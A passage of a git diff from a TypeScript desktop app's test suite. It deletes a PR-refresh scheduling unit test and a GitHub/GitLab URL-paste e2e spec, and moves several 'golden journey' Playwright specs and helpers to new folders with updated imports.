PrForBranch } = - await import('../../src/shared/rpc-contract/github/github-pull-request-params') - const readReceipt = (reason: 'active' | 'swr') => - commands.getRepoPRForBranch( - 'repo', - 'receipt', - 12, - null, - false, - 'head-a', - reason, - undefined, - undefined, - undefined, - true - ) - resetRemoteRuntimeMocks() - const store = createTestStore() - const seed = await readReceipt('active') - if (!('kind' in seed) || seed.kind !== 'found') { - throw new Error('expected the initial PR') - } - store.setState({ - repos: [ - { - id: 'repo', - path: '/repo', - kind: 'git', - executionHostId: 'runtime:env-1', - displayName: 'repo', - badgeColor: 'blue', - addedAt: 0 - } - ], - worktreesByRepo: { - repo: [ - makePRRefreshWorktree({ - id: 'receipt-worktree', - repoId: 'repo', - branch: 'receipt', - head: 'head-a', - linkedPR: 12, - hostId: 'runtime:env-1', - runtimeOwnerEnvironmentId: 'env-1' - }) - ] - }, - detectedWorktreesByRepo: {}, - activeWorktreeId: 'receipt-worktree', - activeWorkspaceExecutionHostId: 'runtime:env-1', - visibleReviewWorktreeIds: ['receipt-worktree'], - prCache: { 'runtime:env-1::repo::receipt': { data: seed.pr, fetchedAt: 1_000 } } - }) - const reasons: string[] = [] - const replies: unknown[] = [] - runtimeEnvironmentCall.mockImplementation(async (args) => { - if (args.method !== 'github.prForBranch') { - throw new Error('unexpected fixture RPC') - } - const params = PrForBranch.parse(args.params) - expect(params).toMatchObject({ - repo: 'repo', - branch: 'receipt', - linkedPRNumber: 12, - currentHeadOid: 'head-a', - reason: 'swr', - acceptRevalidationOnly: true, - selected: true - }) - reasons.push(params.reason!) - const result = await rpcRead(args.params) - replies.push(result) - return { id: 'rpc', ok: true, result } - }) - const timerProvider = Promise.withResolvers() - const freshProvider = Promise.withResolvers() - mocks.resolve - .mockReturnValueOnce(timerProvider.promise) - .mockReturnValueOnce(freshProvider.promise) - const scheduler = createVisibleHostedReviewRefreshScheduler() - const update = () => - scheduler.update(getVisibleHostedReviewRefreshTargets(store.getState(), store.getState)) - const unsubscribe = store.subscribe(update) - try { - expect(getVisibleHostedReviewRefreshTargets(store.getState(), store.getState)).toMatchObject([ - { selected: true, intervalMs: 60_000, fetchedAt: 1_000 } - ]) - update() - scheduler.setVisible(true) - await vi.advanceTimersByTimeAsync(60_000) - // Fake timers defer the host's nested zero-delay drain to the next clock tick. - await vi.advanceTimersByTimeAsync(1) - expect(reasons).toEqual(['swr']) - expect(replies).toEqual([]) - expect(mocks.resolve).toHaveBeenCalledTimes(2) - const otherClient = readReceipt('active') - await vi.advanceTimersByTimeAsync(0) - fixture.title = 'superseded provider result' - timerProvider.resolve(found()) - await vi.advanceTimersByTimeAsync(0) - expect(replies).toMatchObject([{ fetchedAt: 1_000, revalidation: { retryAfterMs: 10_000 } }]) - expect(store.getState().prCache['runtime:env-1::repo::receipt']?.data?.title).toBe('before') - expect(store.getState().prCache['runtime:env-1::repo::receipt']?.fetchedAt).toBe(1_000) - fixture.title = 'completed by another client' - freshProvider.resolve(found()) - await otherClient - await vi.advanceTimersByTimeAsync(9_999) - expect(reasons).toEqual(['swr']) - await vi.advanceTimersByTimeAsync(1) - expect(reasons).toEqual(['swr', 'swr']) - expect(store.getState().prCache['runtime:env-1::repo::receipt']?.data?.title).toBe( - 'completed by another client' - ) - expect(mocks.resolve).toHaveBeenCalledTimes(3) - } finally { - unsubscribe() - scheduler.dispose() - } - }) -}) - -it('applies data-bearing retry replies to both clients and sends selection after an unselected wait', async () => { - const seed = await commands.getRepoPRForBranch( - 'repo', - 'shared', - 12, - null, - false, - 'head-a', - 'active' - ) - if (!('kind' in seed) || seed.kind !== 'found') { - throw new Error('expected initial PR') - } - const clients: { - select: () => void - title: () => string | undefined - fetchedAt: () => number | undefined - dispose: () => void - }[] = [] - const selection: boolean[][] = [[], []] - const receipts: unknown[][] = [[], []] - const reasons: string[] = [] - for (let client = 0; client < 2; client += 1) { - // Separate module graphs retain each renderer's own request coalescer. - vi.resetModules() - const { - createTestStore, - makePRRefreshWorktree, - resetRemoteRuntimeMocks, - runtimeEnvironmentCall - } = await import('../../src/renderer/src/store/github/github-slice-test-harness') - const { getVisibleHostedReviewRefreshTargets } = - await import('../../src/renderer/src/store/slices/hosted-review/refresh/visible-hosted-review-refresh-targets') - const { createVisibleHostedReviewRefreshScheduler } = - await import('../../src/renderer/src/store/slices/hosted-review/refresh/visible-hosted-review-refresh-scheduler') - resetRemoteRuntimeMocks() - runtimeEnvironmentCall.mockImplementation(async (args) => { - if (args.method !== 'github.prForBranch') { - throw new Error('unexpected fixture RPC') - } - const { PrForBranch } = - await import('../../src/shared/rpc-contract/github/github-pull-request-params') - const params = PrForBranch.parse(args.params) - const requestClient = 'selector' in args && args.selector === 'env-client-0' ? 0 : 1 - reasons.push(params.reason ?? 'missing') - selection[requestClient].push(params.selected === true) - const result = await rpcRead(args.params) - receipts[requestClient].push(result) - return { id: 'rpc', ok: true, result } - }) - const store = createTestStore() - store.setState({ - repos: [ - { - id: 'repo', - path: '/repo', - kind: 'git', - executionHostId: `runtime:env-client-${client}`, - displayName: 'repo', - badgeColor: 'blue', - addedAt: 0 - } - ], - worktreesByRepo: { - repo: [ - makePRRefreshWorktree({ - id: 'shared-worktree', - repoId: 'repo', - branch: 'shared', - head: 'head-a', - linkedPR: 12, - hostId: `runtime:env-client-${client}`, - runtimeOwnerEnvironmentId: `env-client-${client}` - }) - ] - }, - detectedWorktreesByRepo: {}, - activeWorktreeId: null, - activeWorkspaceExecutionHostId: `runtime:env-client-${client}`, - visibleReviewWorktreeIds: ['shared-worktree'], - prCache: { - [`runtime:env-client-${client}::repo::shared`]: { data: seed.pr, fetchedAt: seed.fetchedAt } - } - }) - const scheduler = createVisibleHostedReviewRefreshScheduler() - const update = () => - scheduler.update(getVisibleHostedReviewRefreshTargets(store.getState(), store.getState)) - const unsubscribe = store.subscribe(update) - update() - scheduler.setVisible(true) - clients.push({ - select: () => store.setState({ activeWorktreeId: 'shared-worktree' }), - title: () => - store.getState().prCache[`runtime:env-client-${client}::repo::shared`]?.data?.title, - fetchedAt: () => - store.getState().prCache[`runtime:env-client-${client}::repo::shared`]?.fetchedAt, - dispose: () => { - unsubscribe() - scheduler.dispose() - } - }) - } - try { - // A second client's fresh result can settle in the same millisecond as the first. - fixture.title = 'changed on another client' - await commands.getRepoPRForBranch('repo', 'shared', 12, null, false, 'head-a', 'active') - mocks.gate.mockResolvedValue(181_000) - await vi.advanceTimersByTimeAsync(120_001) - // The first job learns the quota pause after admission, so its wait ends at the response deadline. - await vi.advanceTimersByTimeAsync(25_000) - expect(selection).toEqual([[false], [false]]) - for (let client = 0; client < 2; client += 1) { - expect(receipts[client]).toMatchObject([ - { - kind: 'found', - pr: { title: 'changed on another client' }, - revalidation: { retryAfterMs: expect.any(Number) } - } - ]) - expect(clients[client].title()).toBe('changed on another client') - expect(clients[client].fetchedAt()).toBe(1_000) - clients[client].select() - } - mocks.gate.mockResolvedValue(null) - await vi.advanceTimersByTimeAsync(70_000) - expect(selection).toEqual([ - [false, true], - [false, true] - ]) - expect(reasons).toEqual(['swr', 'swr', 'swr', 'swr']) - for (const client of clients) { - expect(client.title()).toBe('changed on another client') - expect(client.fetchedAt()).toBe(181_000) - } - expect(mocks.resolve).toHaveBeenCalledTimes(3) - } finally { - for (const client of clients) { - client.dispose() - } - } -}) diff --git a/tests/e2e/github-url-smart-input-transition.spec.ts b/tests/e2e/github-url-smart-input-transition.spec.ts deleted file mode 100644 index 9995652a928..00000000000 --- a/tests/e2e/github-url-smart-input-transition.spec.ts +++ /dev/null @@ -1,369 +0,0 @@ -import { openSidebarWorkspaceComposer } from './helpers/sidebar-project-dialog' -import type { ElectronApplication, Locator, Page } from '@stablyai/playwright-test' -import type { GitHubWorkItem } from '../../src/shared/github/work-items/work-item-types' -import type { GitLabWorkItem } from '../../src/shared/gitlab/gitlab-types' -import { test, expect } from './helpers/orca-app' -import { waitForActiveWorktree, waitForSessionReady } from './helpers/store' - -const TARGET_URL = 'https://github.com/stablyai/orca/issues/4242' -const WRONG_TITLE = 'Wrong cached issue' -const TARGET_TITLE = 'Exact pasted issue' -const GITLAB_TARGET_URL = 'https://gitlab.example.test/stablyai/orca/-/merge_requests/4242' -const GITLAB_WRONG_TITLE = 'Wrong cached merge request' -const GITLAB_TARGET_TITLE = 'Exact pasted merge request' -const MIN_PASTED_FRAMES = 2 -const TRANSITION_FRAME_LIMIT = 600 - -const WRONG_ITEM: GitHubWorkItem = { - id: 'issue-17', - type: 'issue', - number: 17, - title: WRONG_TITLE, - state: 'open', - url: 'https://github.com/stablyai/orca/issues/17', - labels: [], - updatedAt: '2026-08-01T00:00:00.000Z', - author: 'e2e', - repoId: 'e2e-repo' -} - -const TARGET_ITEM: GitHubWorkItem = { - ...WRONG_ITEM, - id: 'issue-4242', - number: 4242, - title: TARGET_TITLE, - url: TARGET_URL, - updatedAt: '2026-08-02T00:00:00.000Z' -} - -const GITLAB_WRONG_ITEM: GitLabWorkItem = { - id: 'mr-17', - type: 'mr', - number: 17, - title: GITLAB_WRONG_TITLE, - state: 'opened', - url: 'https://gitlab.example.test/stablyai/orca/-/merge_requests/17', - labels: [], - updatedAt: '2026-08-01T00:00:00.000Z', - author: 'e2e', - repoId: 'e2e-repo' -} - -const GITLAB_TARGET_ITEM: GitLabWorkItem = { - ...GITLAB_WRONG_ITEM, - id: 'mr-4242', - number: 4242, - title: GITLAB_TARGET_TITLE, - url: GITLAB_TARGET_URL, - updatedAt: '2026-08-02T00:00:00.000Z' -} - -type TransitionFrame = { - value: string - wrongVisible: boolean - wrongSelected: boolean - targetVisible: boolean - targetSelected: boolean -} - -declare global { - // oxlint-disable-next-line typescript-eslint/consistent-type-definitions -- declaration merging requires interface - interface Window { - // Per-provider capture buffers written by startTransitionCapture below. - __githubUrlTransitionFrames?: TransitionFrame[] - __gitlabUrlTransitionFrames?: TransitionFrame[] - } -} - -type TransitionFrameKey = '__githubUrlTransitionFrames' | '__gitlabUrlTransitionFrames' - -function pasteChord(): string { - return process.platform === 'darwin' ? 'Meta+V' : 'Control+V' -} - -async function startTransitionCapture( - page: Page, - frameKey: TransitionFrameKey, - wrongTitle: string, - targetTitle: string -): Promise { - await page.evaluate( - ({ frameKey, frameLimit, wrongTitle, targetTitle }) => { - const frames: TransitionFrame[] = [] - const capture = (): void => { - const input = document.querySelector('[data-workspace-name-input="true"]') - const options = [...document.querySelectorAll('[role="option"]')] - const wrong = options.find((option) => option.textContent?.includes(wrongTitle)) - const target = options.find((option) => option.textContent?.includes(targetTitle)) - frames.push({ - value: input?.value ?? '', - wrongVisible: Boolean(wrong && wrong.getClientRects().length > 0), - wrongSelected: wrong?.dataset.selected === 'true', - targetVisible: Boolean(target && target.getClientRects().length > 0), - targetSelected: target?.dataset.selected === 'true' - }) - if (frames.length < frameLimit) { - requestAnimationFrame(capture) - } - } - window[frameKey] = frames - capture() - }, - { frameKey, frameLimit: TRANSITION_FRAME_LIMIT, wrongTitle, targetTitle } - ) -} - -async function readTransitionFrames( - page: Page, - frameKey: TransitionFrameKey -): Promise { - return page.evaluate((key) => { - const frames = window[key] - if (!frames) { - throw new Error(`Transition capture ${key} was never installed`) - } - return frames - }, frameKey) -} - -async function expectLookupHeldWithoutStaleRow( - page: Page, - frameKey: TransitionFrameKey, - targetUrl: string, - wrongOption: Locator, - targetOption: Locator -): Promise { - await expect - .poll(async () => { - const frames = await readTransitionFrames(page, frameKey) - return frames.filter((frame) => frame.value === targetUrl).length - }) - .toBeGreaterThanOrEqual(MIN_PASTED_FRAMES) - await expect(wrongOption).toHaveCount(0) - await expect(targetOption).toHaveCount(0) -} - -async function expectExactTargetAfterLookup( - page: Page, - frameKey: TransitionFrameKey, - targetUrl: string, - targetOption: Locator -): Promise { - await expect(targetOption).toBeVisible() - await expect(targetOption).toHaveAttribute('data-selected', 'true') - await expect - .poll(async () => { - const frames = await readTransitionFrames(page, frameKey) - return frames.some((frame) => frame.targetVisible && frame.targetSelected) - }) - .toBe(true) - - const frames = await readTransitionFrames(page, frameKey) - const pastedFrames = frames.filter((frame) => frame.value === targetUrl) - expect(frames.some((frame) => frame.wrongVisible)).toBe(true) - expect(pastedFrames.length).toBeGreaterThanOrEqual(MIN_PASTED_FRAMES) - expect(pastedFrames.every((frame) => !frame.wrongVisible && !frame.wrongSelected)).toBe(true) - expect(pastedFrames.some((frame) => frame.targetVisible && frame.targetSelected)).toBe(true) -} - -async function installHeldGitHubLookup( - electronApp: ElectronApplication, - page: Page -): Promise { - await electronApp.evaluate(({ ipcMain }, targetItem) => { - const fixture = globalThis as unknown as { - __githubUrlLookupStarted?: boolean - __releaseGitHubUrlLookup?: () => void - } - fixture.__githubUrlLookupStarted = false - ipcMain.removeHandler('gh:repoSlug') - ipcMain.handle('gh:repoSlug', () => ({ owner: 'stablyai', repo: 'orca' })) - ipcMain.removeHandler('gh:workItemByOwnerRepo') - ipcMain.handle('gh:workItemByOwnerRepo', () => { - fixture.__githubUrlLookupStarted = true - return new Promise((resolve) => { - fixture.__releaseGitHubUrlLookup = () => resolve(targetItem) - }) - }) - }, TARGET_ITEM) - await page.evaluate((wrongItem) => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - store.setState({ - getCachedWorkItems: () => [wrongItem], - fetchWorkItems: async () => [wrongItem], - fetchWorkItemsAcrossRepos: async () => ({ - items: [wrongItem], - failedCount: 0, - githubUnavailable: false - }) - }) - }, WRONG_ITEM) -} - -async function releaseGitHubLookup(electronApp: ElectronApplication): Promise { - await electronApp.evaluate(() => { - const fixture = globalThis as unknown as { __releaseGitHubUrlLookup?: () => void } - if (!fixture.__releaseGitHubUrlLookup) { - throw new Error('GitHub lookup is not held') - } - fixture.__releaseGitHubUrlLookup() - }) -} - -async function installHeldGitLabLookup( - electronApp: ElectronApplication, - page: Page -): Promise { - await electronApp.evaluate( - ({ ipcMain }, { wrongItem, targetItem }) => { - const fixture = globalThis as unknown as { - __gitlabUrlLookupStarted?: boolean - __releaseGitLabUrlLookup?: () => void - } - fixture.__gitlabUrlLookupStarted = false - ipcMain.removeHandler('preflight:check') - ipcMain.handle('preflight:check', () => ({ - git: { installed: true }, - gh: { installed: true, authenticated: true }, - glab: { installed: true, authenticated: true } - })) - ipcMain.removeHandler('gitlab:listWorkItems') - ipcMain.handle('gitlab:listWorkItems', () => ({ - items: [wrongItem], - page: 1, - perPage: 12, - totalCount: 1, - totalPages: 1 - })) - ipcMain.removeHandler('gitlab:workItemByPath') - ipcMain.handle('gitlab:workItemByPath', () => { - fixture.__gitlabUrlLookupStarted = true - return new Promise((resolve) => { - fixture.__releaseGitLabUrlLookup = () => resolve(targetItem) - }) - }) - }, - { wrongItem: GITLAB_WRONG_ITEM, targetItem: GITLAB_TARGET_ITEM } - ) - await page.evaluate(async () => { - const store = window.__store - if (!store) { - throw new Error('window.__store is not available') - } - await store.getState().refreshPreflightStatus({ force: true }) - }) -} - -async function releaseGitLabLookup(electronApp: ElectronApplication): Promise { - await electronApp.evaluate(() => { - const fixture = globalThis as unknown as { __releaseGitLabUrlLookup?: () => void } - if (!fixture.__releaseGitLabUrlLookup) { - throw new Error('GitLab lookup is not held') - } - fixture.__releaseGitLabUrlLookup() - }) -} - -test('a pasted GitHub URL never selects a stale cached issue', async ({ - electronApp, - orcaPage -}, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await installHeldGitHubLookup(electronApp, orcaPage) - - await openSidebarWorkspaceComposer(orcaPage) - const dialog = orcaPage.getByRole('dialog', { name: /Create (Workspace|Worktree)/i }) - const input = dialog.locator('[data-workspace-name-input="true"]') - await expect(input).toBeVisible() - await input.click() - - const wrongOption = orcaPage.getByRole('option', { name: `#17 ${WRONG_TITLE}`, exact: true }) - const targetOption = orcaPage.getByRole('option', { - name: `#4242 ${TARGET_TITLE}`, - exact: true - }) - await expect(wrongOption).toBeVisible() - - const frameKey: TransitionFrameKey = '__githubUrlTransitionFrames' - await startTransitionCapture(orcaPage, frameKey, WRONG_TITLE, TARGET_TITLE) - - await orcaPage.evaluate((text) => window.api.ui.writeClipboardText(text), TARGET_URL) - await input.focus() - await orcaPage.keyboard.press(pasteChord()) - await expect - .poll(() => - electronApp.evaluate(() => { - const fixture = globalThis as unknown as { __githubUrlLookupStarted?: boolean } - return fixture.__githubUrlLookupStarted === true - }) - ) - .toBe(true) - await expectLookupHeldWithoutStaleRow(orcaPage, frameKey, TARGET_URL, wrongOption, targetOption) - - await releaseGitHubLookup(electronApp) - await expectExactTargetAfterLookup(orcaPage, frameKey, TARGET_URL, targetOption) - - await testInfo.attach('github-url-smart-input-fixed.png', { - body: await orcaPage.screenshot(), - contentType: 'image/png' - }) -}) - -test('a pasted GitLab URL never selects a stale cached merge request', async ({ - electronApp, - orcaPage -}, testInfo) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await installHeldGitLabLookup(electronApp, orcaPage) - - await openSidebarWorkspaceComposer(orcaPage) - const dialog = orcaPage.getByRole('dialog', { name: /Create (Workspace|Worktree)/i }) - const input = dialog.locator('[data-workspace-name-input="true"]') - await expect(input).toBeVisible() - await input.click() - - const wrongOption = orcaPage.getByRole('option', { - name: `!17 ${GITLAB_WRONG_TITLE}`, - exact: true - }) - const targetOption = orcaPage.getByRole('option', { - name: `!4242 ${GITLAB_TARGET_TITLE}`, - exact: true - }) - await expect(wrongOption).toBeVisible() - - const frameKey: TransitionFrameKey = '__gitlabUrlTransitionFrames' - await startTransitionCapture(orcaPage, frameKey, GITLAB_WRONG_TITLE, GITLAB_TARGET_TITLE) - - await orcaPage.evaluate((text) => window.api.ui.writeClipboardText(text), GITLAB_TARGET_URL) - await input.focus() - await orcaPage.keyboard.press(pasteChord()) - await expect - .poll(() => - electronApp.evaluate(() => { - const fixture = globalThis as unknown as { __gitlabUrlLookupStarted?: boolean } - return fixture.__gitlabUrlLookupStarted === true - }) - ) - .toBe(true) - await expectLookupHeldWithoutStaleRow( - orcaPage, - frameKey, - GITLAB_TARGET_URL, - wrongOption, - targetOption - ) - - await releaseGitLabLookup(electronApp) - await expectExactTargetAfterLookup(orcaPage, frameKey, GITLAB_TARGET_URL, targetOption) - - await testInfo.attach('gitlab-url-smart-input-fixed.png', { - body: await orcaPage.screenshot(), - contentType: 'image/png' - }) -}) diff --git a/tests/e2e/global-setup.ts b/tests/e2e/global-setup.ts index 05de880d5f8..b959f31b7ab 100644 --- a/tests/e2e/global-setup.ts +++ b/tests/e2e/global-setup.ts @@ -5,7 +5,7 @@ import { randomUUID } from 'node:crypto' import { existsSync, mkdirSync, mkdtempSync, realpathSync, writeFileSync } from 'node:fs' import path from 'node:path' import os from 'node:os' -import { prepareDockerSshHostImage } from './helpers/docker-ssh-host-image' +import { prepareDockerSshHostImage } from './remote/managed-ssh/host-lifecycle/docker-ssh-host-image' export const E2E_TEST_REPO_PATH_FILE_ENV = 'ORCA_E2E_TEST_REPO_PATH_FILE' const RUN_TEST_REPO_PATH_FILE = diff --git a/tests/e2e/golden-agent-tui-launch.spec.ts b/tests/e2e/golden-journeys/golden-agent-tui-launch.spec.ts similarity index 71% rename from tests/e2e/golden-agent-tui-launch.spec.ts rename to tests/e2e/golden-journeys/golden-agent-tui-launch.spec.ts index b1d145ac45f..fd64b3cd814 100644 --- a/tests/e2e/golden-agent-tui-launch.spec.ts +++ b/tests/e2e/golden-journeys/golden-agent-tui-launch.spec.ts @@ -1,11 +1,17 @@ -import { expect, test } from './helpers/orca-app' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { configureGoldenStubAgent, getGoldenStubAgentLaunchEnv, launchGoldenStubAgentFromNewTab -} from './helpers/golden-stub-agent' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { focusActiveTerminalInput, getTerminalContent } from './helpers/terminal' +} from './golden-stub-agent' +import { + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../desktop/renderer-probes/store' +import { focusActiveTerminalInput } from '../terminal/input/terminal' +import { getTerminalContent } from '../terminal/layout/terminal-pane-identity' test.use({ launchEnv: getGoldenStubAgentLaunchEnv() }) diff --git a/tests/e2e/golden-file-open-edit-save.spec.ts b/tests/e2e/golden-journeys/golden-file-open-edit-save.spec.ts similarity index 92% rename from tests/e2e/golden-file-open-edit-save.spec.ts rename to tests/e2e/golden-journeys/golden-file-open-edit-save.spec.ts index 2312fea174e..ded2d462676 100644 --- a/tests/e2e/golden-file-open-edit-save.spec.ts +++ b/tests/e2e/golden-journeys/golden-file-open-edit-save.spec.ts @@ -1,12 +1,13 @@ import { readFileSync } from 'node:fs' import path from 'node:path' -import { test, expect } from './helpers/orca-app' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { activateGoldenWorktree, cleanupGoldenWorktree, createGoldenWorktree -} from './helpers/golden-source-control' -import { waitForSessionReady } from './helpers/store' +} from './golden-source-control' +import { waitForSessionReady } from '../desktop/renderer-probes/store' const README_PATH = 'README.md' diff --git a/tests/e2e/golden-fresh-profile-terminal.spec.ts b/tests/e2e/golden-journeys/golden-fresh-profile-terminal.spec.ts similarity index 82% rename from tests/e2e/golden-fresh-profile-terminal.spec.ts rename to tests/e2e/golden-journeys/golden-fresh-profile-terminal.spec.ts index 5a17ed22440..110761ec2b0 100644 --- a/tests/e2e/golden-fresh-profile-terminal.spec.ts +++ b/tests/e2e/golden-journeys/golden-fresh-profile-terminal.spec.ts @@ -1,13 +1,15 @@ import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { chooseOnboardingAgentSurface } from './helpers/onboarding-navigation' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { chooseOnboardingAgentSurface } from '../desktop/renderer-probes/onboarding-navigation' import { - focusActiveTerminalInput, - getTerminalContent, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../desktop/renderer-probes/store' +import { focusActiveTerminalInput, waitForActivePanePtyId } from '../terminal/input/terminal' +import { waitForActiveTerminalManager } from '../terminal/layout/terminal-pane-operations' +import { getTerminalContent } from '../terminal/layout/terminal-pane-identity' test.use({ dismissOnboarding: false, seedTestRepo: false }) diff --git a/tests/e2e/golden-posix-profile-index-fsync.spec.ts b/tests/e2e/golden-journeys/golden-posix-profile-index-fsync.spec.ts similarity index 94% rename from tests/e2e/golden-posix-profile-index-fsync.spec.ts rename to tests/e2e/golden-journeys/golden-posix-profile-index-fsync.spec.ts index ebd80bf83c2..88eddd64cce 100644 --- a/tests/e2e/golden-posix-profile-index-fsync.spec.ts +++ b/tests/e2e/golden-journeys/golden-posix-profile-index-fsync.spec.ts @@ -1,6 +1,7 @@ import { readFileSync, rmSync, statSync } from 'node:fs' import path from 'node:path' -import { expect, test } from './helpers/orca-app' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' test.use({ seedTestRepo: false }) test.skip(process.platform === 'win32', 'Restrictive-umask fsync regression is POSIX-only') diff --git a/tests/e2e/golden-shell-after-agent-exit.spec.ts b/tests/e2e/golden-journeys/golden-shell-after-agent-exit.spec.ts similarity index 81% rename from tests/e2e/golden-shell-after-agent-exit.spec.ts rename to tests/e2e/golden-journeys/golden-shell-after-agent-exit.spec.ts index 868b0f9556b..748e2c9fb2a 100644 --- a/tests/e2e/golden-shell-after-agent-exit.spec.ts +++ b/tests/e2e/golden-journeys/golden-shell-after-agent-exit.spec.ts @@ -1,17 +1,19 @@ -import { expect, test } from './helpers/orca-app' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { configureGoldenStubAgent, getGoldenStubAgentLaunchEnv, GOLDEN_STUB_EXIT_MARKER, launchGoldenStubAgentFromNewTab -} from './helpers/golden-stub-agent' -import { ensureTerminalVisible, waitForActiveWorktree, waitForSessionReady } from './helpers/store' -import { waitForRestoredTerminalInputReady } from './helpers/restored-terminal-input-readiness' +} from './golden-stub-agent' import { - focusActiveTerminalInput, - waitForActivePanePtyId, - waitForTerminalOutput -} from './helpers/terminal' + ensureTerminalVisible, + waitForActiveWorktree, + waitForSessionReady +} from '../desktop/renderer-probes/store' +import { waitForRestoredTerminalInputReady } from '../terminal/readiness/restored-terminal-input-readiness' +import { focusActiveTerminalInput, waitForActivePanePtyId } from '../terminal/input/terminal' +import { waitForTerminalOutput } from '../terminal/layout/terminal-pane-operations' test.use({ launchEnv: getGoldenStubAgentLaunchEnv() }) diff --git a/tests/e2e/golden-shell-command.spec.ts b/tests/e2e/golden-journeys/golden-shell-command.spec.ts similarity index 84% rename from tests/e2e/golden-shell-command.spec.ts rename to tests/e2e/golden-journeys/golden-shell-command.spec.ts index 94e3da16208..1a15652a433 100644 --- a/tests/e2e/golden-shell-command.spec.ts +++ b/tests/e2e/golden-journeys/golden-shell-command.spec.ts @@ -1,12 +1,10 @@ -import { stripAnsiEscapeSequences } from '../../src/shared/terminal/protocol/escape/ansi-escape-sequences' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible } from './helpers/store' -import { - focusActiveTerminalInput, - getTerminalContent, - waitForActivePanePtyId, - waitForActiveTerminalManager -} from './helpers/terminal' +import { stripAnsiEscapeSequences } from '../../../src/shared/terminal/protocol/escape/ansi-escape-sequences' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' +import { ensureTerminalVisible } from '../desktop/renderer-probes/store' +import { focusActiveTerminalInput, waitForActivePanePtyId } from '../terminal/input/terminal' +import { waitForActiveTerminalManager } from '../terminal/layout/terminal-pane-operations' +import { getTerminalContent } from '../terminal/layout/terminal-pane-identity' const CSI_REPLY_RE = /997;[12]n/ diff --git a/tests/e2e/golden-source-control-commit.spec.ts b/tests/e2e/golden-journeys/golden-source-control-commit.spec.ts similarity index 92% rename from tests/e2e/golden-source-control-commit.spec.ts rename to tests/e2e/golden-journeys/golden-source-control-commit.spec.ts index 70fb7c4e3e1..4e12f9bfdf7 100644 --- a/tests/e2e/golden-source-control-commit.spec.ts +++ b/tests/e2e/golden-journeys/golden-source-control-commit.spec.ts @@ -1,7 +1,8 @@ import { execFileSync } from 'node:child_process' import { existsSync } from 'node:fs' import path from 'node:path' -import { test, expect } from './helpers/orca-app' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { cleanupGoldenWorktree, createGoldenWorktree, @@ -11,8 +12,8 @@ import { installPassingNodePreCommitHook, openGoldenSourceControl, seedGoldenSourceEdit -} from './helpers/golden-source-control' -import { waitForSessionReady } from './helpers/store' +} from './golden-source-control' +import { waitForSessionReady } from '../desktop/renderer-probes/store' test('@golden stages and commits a file through Source Control', async ({ orcaPage, diff --git a/tests/e2e/golden-source-control-open-diff.spec.ts b/tests/e2e/golden-journeys/golden-source-control-open-diff.spec.ts similarity index 88% rename from tests/e2e/golden-source-control-open-diff.spec.ts rename to tests/e2e/golden-journeys/golden-source-control-open-diff.spec.ts index ed14e8207b6..5e316f2fb3c 100644 --- a/tests/e2e/golden-source-control-open-diff.spec.ts +++ b/tests/e2e/golden-journeys/golden-source-control-open-diff.spec.ts @@ -1,6 +1,7 @@ import { realpathSync } from 'node:fs' import path from 'node:path' -import { test, expect } from './helpers/orca-app' +import { test } from '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' import { cleanupGoldenWorktree, createGoldenWorktree, @@ -9,8 +10,8 @@ import { GOLDEN_REMOVED_LINE, openGoldenSourceControl, seedGoldenSourceEdit -} from './helpers/golden-source-control' -import { waitForSessionReady } from './helpers/store' +} from './golden-source-control' +import { waitForSessionReady } from '../desktop/renderer-probes/store' test('@golden opens an unstaged file diff from Source Control', async ({ orcaPage, diff --git a/tests/e2e/helpers/golden-source-control.ts b/tests/e2e/golden-journeys/golden-source-control.ts similarity index 98% rename from tests/e2e/helpers/golden-source-control.ts rename to tests/e2e/golden-journeys/golden-source-control.ts index 6dfea8c16c2..e846f082445 100644 --- a/tests/e2e/helpers/golden-source-control.ts +++ b/tests/e2e/golden-journeys/golden-source-control.ts @@ -3,7 +3,8 @@ import { chmodSync, mkdtempSync, readFileSync, realpathSync, rmSync, writeFileSy import os from 'node:os' import path from 'node:path' import type { Page } from '@stablyai/playwright-test' -import { expect } from './orca-app' +import '../desktop/electron-fixtures/orca-app' +import { expect } from '@stablyai/playwright-test' export const GOLDEN_CHANGED_PATH = 'src/index.ts' export const GOLDEN_REMOVED_LINE = 'export const hello = "world"' diff --git a/tests/e2e/helpers/golden-stub-agent.ts b/tests/e2e/golden-journeys/golden-stub-agent.ts similarity index 93% rename from tests/e2e/helpers/golden-stub-agent.ts rename to tests/e2e/golden-journeys/golden-stub-agent.ts index e60e37b5862..0623828829f 100644 --- a/tests/e2e/helpers/golden-stub-agent.ts +++ b/tests/e2e/golden-journeys/golden-stub-agent.ts @@ -1,7 +1,8 @@ import path from 'node:path' import type { Page } from '@stablyai/playwright-test' import { expect } from '@stablyai/playwright-test' -import { focusActiveTerminalInput, waitForTerminalOutput } from './terminal' +import { focusActiveTerminalInput } from '../terminal/input/terminal' +import { waitForTerminalOutput } from '../terminal/layout/terminal-pane-operations' import type { BuiltInWindowsTerminalShell } from '../../../src/shared/shell/launch/windows-terminal-shell' export const GOLDEN_STUB_READY_MARKER = 'GOLDEN_STUB_AGENT_READY' diff --git a/tests/e2e/golden-tab-bar-agent-launch.spec.ts b/tests/e2e/golden-journeys/golden-tab-bar-agent-launch.spec.ts similarity index 67% rename from 